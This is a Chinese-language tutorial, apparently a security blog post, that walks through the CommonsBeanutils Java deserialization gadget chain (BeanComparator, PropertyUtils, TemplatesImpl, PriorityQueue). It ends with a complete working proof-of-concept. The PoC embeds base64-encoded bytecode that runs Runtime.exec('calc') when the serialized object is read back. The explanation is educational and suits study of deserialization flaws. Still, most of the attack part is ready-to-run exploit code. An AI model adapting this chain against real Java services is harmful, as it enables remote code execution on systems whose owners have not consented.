cb链

Apache Commons Beanutils

它是Apache Common下的⼀个⼯具集下的另⼀个项⽬,提供对普通Java类对象(JavaBean)的⼀些操作⽅法

至于什么是JavaBean,放一下维基百科的定义,很简单:

  • 有一个public的无参数构造函数。
  • 属性可以透过get、set、is(可替代get,用在布尔型属性上)方法或遵循特定命名规则的其他方法访问。
  • 可序列化。

第二条说白了就是属性都有访问器和更改器。而commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任 意JavaBeangetter方法

⼀个简单的JavaBean

1
2
3
4
5
6
7
8
public class Baicany{
private String name = "baicany";
public String getName(){
return name;
}
public void setName(String name){
this.name = name;
}

环境

commons-beanutils:commons-beanutils:1.9.2

commons-logging:commons-logging:1.2

commons-collections:commons-collections:3.1

JDK 1.8.0_192

PropertyUtils

它是对JavaBean进⾏操作的⼯具类,可单独为某个属性进⾏值的操作的⼯具类。它利⽤反射操作Bean的属性

PropertyUtils类下提供了⼀些静态⽅法,以⽅便开发者直接调⽤⼀些getter和setter⽅法:

  • getProperty:返回指定Bean的指定属性的值
  • getSimpleProperty:返回指定Bean的指定属性的值
  • setProperty:设置指定Bean的指定属性的值
  • setSimpleProperty:设置指定Bean的指定属性的值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import  org.apache.commons.beanutils.PropertyUtils;
public class cb {
private String _name="baicany";
public String getName() {
return _name;
}
public void setName(String _name) {
this._name = _name;
}
public static void main(String[] args) throws Exception{
cb p=new cb();
p.setName("Baicany");
String name=(String) PropertyUtils.getProperty(p,"name");
System.out.println(name);
}
}
/* Baicany */

BeanComparator

在cc2的基础上,CommonsBeanutils链寻找了⼀个新的compare进⾏利⽤。在ysoserial中利⽤的是 org.apache.commons.beanutils.BeanComparator.compare⽅法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public int compare(T o1, T o2) {
if (this.property == null) {
return this.internalCompare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.internalCompare(value1, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
}

其中当 this.property!=null 时,会调⽤PropertyUtils.getProperty⽅法 上⾯分析过PropertyUtils.getProperty⽅法,它可以调⽤o1/o2对象的this.property变量的getter⽅法 ysoserial中,是通过利⽤PropertyUtils.getProperty来调⽤ _outputProperties 变量的getter⽅法,也就是 TemplatesImpl.getOutputProperties⽅法来加载字节码,以达到rec的⽬的

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();//后面分析看c2链
}
catch (TransformerConfigurationException e) {
return null;
}
}

需要控制o1/o2为TemplatesImpl对象,this.property为 outputProperties 字符串 这样我们就能通过调⽤TemplatesImpl.getOutputProperties⽅法来加载字节码 准备好TemplatesImpl对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
TemplatesImpl impl = new TemplatesImpl();
byte[] code = Base64.getDecoder().decode( "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUB" +
"AA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3Vu" +
"L29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hl" +
"L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExj" +
"b20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9h" +
"cGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNo" +
"ZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJj" +
"ZUZpbGUBAAdpby5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEADGNvbS9sYWdvdS9pbwEA" +
"QGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0" +
"VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFu" +
"L2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApn" +
"ZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0" +
"cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAuAAIAAQAA" +
"AA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAAAoABAALAA0ADAALAAAABAABAAwAAQANAA4A" +
"AgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAPAAEADQAQAAIACQAAABkA" +
"AAAEAAAAAbEAAAABAAoAAAAGAAEAAAASAAsAAAAEAAEADwABABEAAAACABI=");
setFieldValue(mpl,"_name","baicany");
setFieldValue(mpl,"_bytecodes",new byte[][]{code});
setFieldValue(mpl,"_class",null);
setFieldValue(mpl,"_tfactory",new TransformerFactoryImpl());

还需要控制this.property变量

来看BeanComparator的构造函数

1
2
3
4
5
6
7
8
9
10
11
public BeanComparator(String property) {
this(property, ComparableComparator.getInstance());
}
public BeanComparator(String property, Comparator<?> comparator) {
this.setProperty(property);
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}

准备BeanComparator对象

1
BeanComparator comparator = new BeanComparator("outputProperties");

ysoserial是最后通过反射修改this.property变量的值

1
2
BeanComparator comparator = new BeanComparator("baicany");
setFieldValue(comparator, "property", "outputProperties");

需要利⽤org.apache.commons.beanutils.BeanComparator.compare⽅法

像c2链一样就行了

准备序列化⼊⼝类

1
2
3
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);

通过反射修改queue变量,以控制传⼊compare⽅法的o1、o2对象

1
2
3
4
5
6
7
Object[] queue_array = new Object[]{impl,1};
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
size.setAccessible(true);
size.set(queue,queue_array);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,comparator);

其实就跟c2差不多

完整poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class cb {
public static void main(String[] args) throws Exception{
TemplatesImpl impl = new TemplatesImpl();
byte[] code = Base64.getDecoder().decode(
"yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUB" +
"AA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3Vu" +
"L29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hl" +
"L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExj" +
"b20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9h" +
"cGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNo" +
"ZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJj" +
"ZUZpbGUBAAdpby5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEADGNvbS9sYWdvdS9pbwEA" +
"QGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0" +
"VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFu" +
"L2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApn" +
"ZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0" +
"cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAuAAIAAQAA" +
"AA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAAAoABAALAA0ADAALAAAABAABAAwAAQANAA4A" +
"AgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAPAAEADQAQAAIACQAAABkA" +
"AAAEAAAAAbEAAAABAAoAAAAGAAEAAAASAAsAAAAEAAEADwABABEAAAACABI=");
setFieldValue(impl,"_name","baicany");
setFieldValue(impl,"_bytecodes",new byte[][]{code});
setFieldValue(impl,"_class",null);
setFieldValue(impl,"_tfactory",new TransformerFactoryImpl());
PriorityQueue queue = new PriorityQueue<>(2);
queue.add(1);
queue.add(2);
BeanComparator comparator = new BeanComparator<>("outputProperties");
Object[] queue_array = new Object[]{impl,1};
setFieldValue(queue,"queue",queue_array);
setFieldValue(queue,"comparator",comparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cb.txt"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cb.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}